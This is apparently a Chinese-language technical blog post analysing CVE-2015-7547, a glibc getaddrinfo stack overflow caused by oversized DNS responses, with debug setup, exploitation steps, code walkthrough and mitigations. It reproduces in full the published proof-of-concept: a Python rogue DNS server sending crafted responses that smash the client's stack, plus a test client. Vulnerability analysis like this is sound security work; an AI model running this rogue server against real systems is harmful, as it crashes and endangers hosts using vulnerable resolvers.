glibc resolv/res_send.c getaddrinfo() buffer stack smash when dealing malformation big DNS Response Package

catalogue

1. 漏洞简述
2. 调试环境搭建
3. 漏洞利用
4. 漏洞分析
5. 缓解修复方案

 

1. 漏洞简述

0x1: 函数调用顺序

getaddrinfo (getaddrinfo.c) ->
_nss_dns_gethostbyname4_r (dns-host.c) ->
__libc_res_nsearch (res_query.c) ->
__libc_res_nquery (res_query.c) ->
__libc_res_nsend (res_send.c) ->
send_vc (res_send.c)

0x2: 总结概括

1. 该漏洞存在于resolv/res_send.c文件中,当getaddrinfo()函数被调用时如果DNS Server端返回一个超大包时会触发该漏洞
2. glibc中send_dg函数中负责向DNS Server发送DNS解析Request,并将收到的DNS Response回包保存在本地栈空间中
3. 但是glibc对DNS Response超大包的判断存在逻辑绕过漏洞,导致原始的边界判断、buffer栈空间reallocate逻辑被绕过,直接导致的结果就是相同的栈空间被用于多次处理DNS Response回包
4. 经过多次的超大畸形DNS Response回包之后,导致Stack Smash,父函数空间被非法覆盖,最终导致在__libc_res_nquery访问非法地址,segment fault

Relevant Link:

http://www.freebuf.com/news/96244.html
http://news.wooyun.org/6c6e454262397856304f5a7447794631514a4d7864773d3d?from=timeline&isappinstalled=0
https://googleonlinesecurity.blogspot.ca/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html

 

2. 调试环境搭建

1. 安装ddd
wget http://ftp.gnu.org/gnu/ddd/ddd-3.2.1.tar.gz
tar zvxf ddd-3.2.1.tar.gz
cd ddd-3.2.1
./configure --prefix=/usr/local/ddd
make & make install
cd /usr/local/ddd/bin
ddd

2. 准备glibc源码、debug符号表
sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev
sudo apt-get install dpkg-dev
3. 准备debug版poc wget https://codeload.github.com/fjserna/CVE-2015-7547/zip/master unzip master vim Makefile 加入-g编译选项

 

3. 漏洞利用

1. 控制DNS Server,并能够配置A、AAAA记录的解析逻辑
2. 伪造的DNS Server第一个回包需要构造为2048byte大小
    1) 完整填充2048的栈空间
    2) send_dg会尝试重用旧的栈区,但是因为剩余空间为0,故失败
    3) 新的buffer会通过malloc被申请,但是因为代码逻辑bug,导致就的栈空间被复用,并且使用上限为65535
    4) 回包的数据格式必须正确
3. 伪造的DNS Server第二个回包
    1) 构造畸形包,强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限
4. 伪造的DNS Server第三个回包
    1) 2048bytes,正常回包
    2) 剩下的63487bytes可以防止攻击载荷
    3) recvfrom最终导致了stack smash

CVE-2015-7547-poc.py

#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors: 
#   Fermin J. Serna <[email protected]>
#   Gynvael Coldwind <[email protected]>
#   Thomas Garnier <[email protected]>

import socket
import time
import struct
import threading

IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = 184

terminate = False
last_reply = None
reply_now = threading.Event()


def dw(x):
  return struct.pack('>H', x)

def dd(x):
  return struct.pack('>I', x)

def dl(x):
  return struct.pack('<Q', x)

def db(x):
  return chr(x)

def udp_thread():
  global terminate

  # Handle UDP requests
  sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock_udp.bind((IP, 53))

  reply_counter = 0
  counter = -1

  answers = []

  while not terminate:
    data, addr = sock_udp.recvfrom(1024)
    print '[UDP] Total Data len recv ' + str(len(data))
    id_udp = struct.unpack('>H', data[0:2])[0]
    query_udp = data[12:]

    # Send truncated flag... so it retries over TCP
    data = dw(id_udp)                    # id
    data += dw(0x8380)                   # flags with truncated set
    data += dw(1)                        # questions
    data += dw(0)                        # answers
    data += dw(0)                        # authoritative
    data += dw(0)                        # additional
    data += query_udp                    # question
    data += '\x00' * 2500                # Need a long DNS response to force malloc 

    answers.append((data, addr))

    if len(answers) != 2:
      continue

    counter += 1

    if counter % 4 == 2:
      answers = answers[::-1]

    time.sleep(0.01)
    sock_udp.sendto(*answers.pop(0))
    reply_now.wait()
    sock_udp.sendto(*answers.pop(0))

  sock_udp.close()


def tcp_thread():
  global terminate
  counter = -1

  #Open TCP socket
  sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock_tcp.bind((IP, 53))
  sock_tcp.listen(10)

  while not terminate:
    conn, addr = sock_tcp.accept()
    counter += 1
    print 'Connected with ' + addr[0] + ':' + str(addr[1])

    # Read entire packet
    data = conn.recv(1024)
    print '[TCP] Total Data len recv ' + str(len(data))

    reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
    print '[TCP] Request1 len recv ' + str(reqlen1)
    data1 = data[2:2+reqlen1]
    id1 = struct.unpack('>H', data1[0:2])[0]
    query1 = data[12:]

    # Do we have an extra request?
    data2 = None
    if len(data) > 2+reqlen1:
      reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
      print '[TCP] Request2 len recv ' + str(reqlen2)
      data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
      id2 = struct.unpack('>H', data2[0:2])[0]
      query2 = data2[12:]

    # Reply them on different packets
    data = ''
    data += dw(id1)                      # id
    data += dw(0x8180)                   # flags
    data += dw(1)                        # questions
    data += dw(ANSWERS1)                 # answers
    data += dw(0)                        # authoritative
    data += dw(0)                        # additional
    data += query1                       # question

    for i in range(ANSWERS1):
      answer = dw(0xc00c)  # name compressed
      answer += dw(1)      # type A
      answer += dw(1)      # class
      answer += dd(13)     # ttl
      answer += dw(4)      # data length
      answer += 'D' * 4    # data

      data += answer

    data1_reply = dw(len(data)) + data

    if data2:
      data = ''
      data += dw(id2)
      data += 'B' * (2300)
      data2_reply = dw(len(data)) + data
    else:
      data2_reply = None

    reply_now.set()
    time.sleep(0.01)
    conn.sendall(data1_reply)
    time.sleep(0.01)
    if data2:
      conn.sendall(data2_reply)

    reply_now.clear()

  sock_tcp.shutdown(socket.SHUT_RDWR)
  sock_tcp.close()


if __name__ == "__main__":

 t = threading.Thread(target=udp_thread)
 t.daemon = True
 t.start()
 tcp_thread()
 terminate = True

CVE-2015-7547-client.c

/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
    struct addrinfo hints, *res;
    int r;

    memset(&hints, 0, sizeof(hints));
    hints.ai_socktype = SOCK_STREAM;

    if ((r = getaddrinfo("foo.bar.google.com", "22",
        &hints, &res)) != 0)
        errx(1, "getaddrinfo: %s", gai_strerror(r));

    return 0;
}

测试过程

1. 伪造一个假的DNS Server 作为中间人,来验证该漏洞
2. 更改DNS 解析为 127.0.0.1,刷新DNS 缓存 sudo /etc/init.d/nscd restart
3. python CVE-2015-7547-poc.py 
4. 编译 CVE-2015-7547-client.c 
5. 运行编译 CVE-2015-7547-client
6. 若含有漏洞,会造成Segmentation Fault

 

4. 漏洞分析

CVE-2015-7547-client.c

/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
    struct addrinfo hints, *res;
    int r;

    memset(&hints, 0, sizeof(hints));
    hints.ai_socktype = SOCK_STREAM;

    if ((r = getaddrinfo("foo.bar.google.com", "22",
        &hints, &res)) != 0)
        errx(1, "getaddrinfo: %s", gai_strerror(r));

    return 0;
}

IPv4中使用gethostbyname()函数完成主机名到地址解析,这个函数仅仅支持IPv4,且不允许调用者指定所需地址类型的任何信息,返回的结构只包含了用于存储IPv4地址的空间。IPv6中引入了getaddrinfo()的新API,它是协议无关的,既可用于IPv4也可用于IPv6。getaddrinfo函数能够处理名字到地址以及服务到端口这两种转换,返回的是一个addrinfo的结构(列表)指针而不是一个地址清单。这些addrinfo结构随后可由套接口函数直接使用。如此以来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。应用程序只要处理由getaddrinfo函数填写的套接口地址结构。该函数在 POSIX规范中定义了
在r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)下断点,跟进分析

gdb CVE-2015-7547-client
break 33
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/sysdeps/posix
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/resolv

通过segment fault直接断点在__libc_res_nquery函数中
/eglibc-2.19/resolv/res_query.c

int
__libc_res_nquery(res_state statp,
          const char *name,    /* domain name */
          int class, int type,    /* class and type of query */
          u_char *answer,    /* buffer to put answer */
          int anslen,        /* size of answer buffer */
          u_char **answerp,    /* if buffer needs to be enlarged */
          u_char **answerp2,
          int *nanswerp2,
          int *resplen2)
{
    ..
    n = __libc_res_nsend(statp, query1, nquery1, query2, nquery2, answer,
                 anslen, answerp, answerp2, nanswerp2, resplen2);
    ..

函数执行后,answerp2指向的栈空间被覆盖,而之后answerp2指向的地址会被取地址,导致segment fault,跟进__libc_res_nsend分析
\eglibc-2.19\libc\resolv\res_send.c

int
__libc_res_nsend(res_state statp, const u_char *buf, int buflen,
         const u_char *buf2, int buflen2,
         u_char *ans, int anssiz, u_char **ansp, u_char **ansp2,
         int *nansp2, int *resplen2)
{
    ..
    n = send_dg(statp, buf, buflen, buf2, buflen2,
                    &ans, &anssiz, &terrno,
                    ns, &v_circuit, &gotsomewhere, ansp,
                    ansp2, nansp2, resplen2);
    ..

继续跟进send_dg

} else if (pfd[0].revents & POLLIN) {    //读取DNS Server返回的回包
        int *thisanssizp;
        u_char **thisansp;
        int *thisresplenp;

        if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) {
            thisanssizp = anssizp;    //不管是否接收到回包,thisanssizp 都赋值为 anssizp(可能因为网络延迟),POC返回的anssizp为2048,刚好充满栈空间(user supplied buffer (from _nss_dns_gethostbyname4_r))
            thisansp = anscp ?: ansp;

        if (*thisanssizp < MAXPACKET
            /* Yes, we test ANSCP here.  If we have two buffers
               both will be allocatable.  */
            && anscp
#ifdef FIONREAD
            && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0
            || *thisanssizp < *thisresplenp)
#endif    
                    ) {    //buffer is sufficient and `thisresplenp` is 2048 and that fits in the user buffer
            u_char *newp = malloc (MAXPACKET);    //第一次回包的长度已经占满了2048栈空间,调用malloc申请新的空间(大小为MAXPACKET)
            if (newp != NULL) {
                *anssizp = MAXPACKET;
                *thisansp = ans = newp;            //栈指针指向新申请的栈空间
            }
        }
        HEADER *anhp = (HEADER *) *thisansp;
        socklen_t fromlen = sizeof(struct sockaddr_in6);
        assert (sizeof(from) <= fromlen);
        *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp,        //接收UDP回包

第一个回包接收完毕后,标记,函数返回

/* Mark which reply we received.  */
        if (recvresp1 == 0 && hp->id == anhp->id)
            recvresp1 = 1;

glibc发送第二次DNS请求

第二次回包强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限

glibc继续循环接收回包
第三个回包从MAXPACKET - 2048开始继续填充旧的栈空间

直到MAXPACKET,这导致了stack smash,由于父函数传入了指针,stack smash导致了父函数,即res_query.c中__libc_res_nsend的参数被污染

父函数中被污染的指针在之后的代码被取成员访问,最终导致segment fault

Relevant Link:

https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
https://github.com/fjserna/CVE-2015-7547
http://blog.knownsec.com/2016/02/linux-glibc-cve-2015-7547-analysis/

 

5. 缓解修复方案

0x1: Code Patch

https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html

0x2: 临时缓解方案

技术人员可以通过将TCP DNS响应的大小限制为1024字节,并丢弃所有超过512字节的UDPDNS数据包来缓解该问题。值得庆幸的是,许多嵌入式Linux设备,例如家庭路由器,更倾向于使用uclibc库,因此可以免受该漏洞的影响

iptables -t filter -A INPUT -p udp -m length --length 512: -j DROP

 

Copyright (c) 2015 LittleHann All rights reserved

 

你可能感兴趣的:(glibc resolv/res_send.c getaddrinfo() buffer stack smash when dealing malformation big DNS Response Package)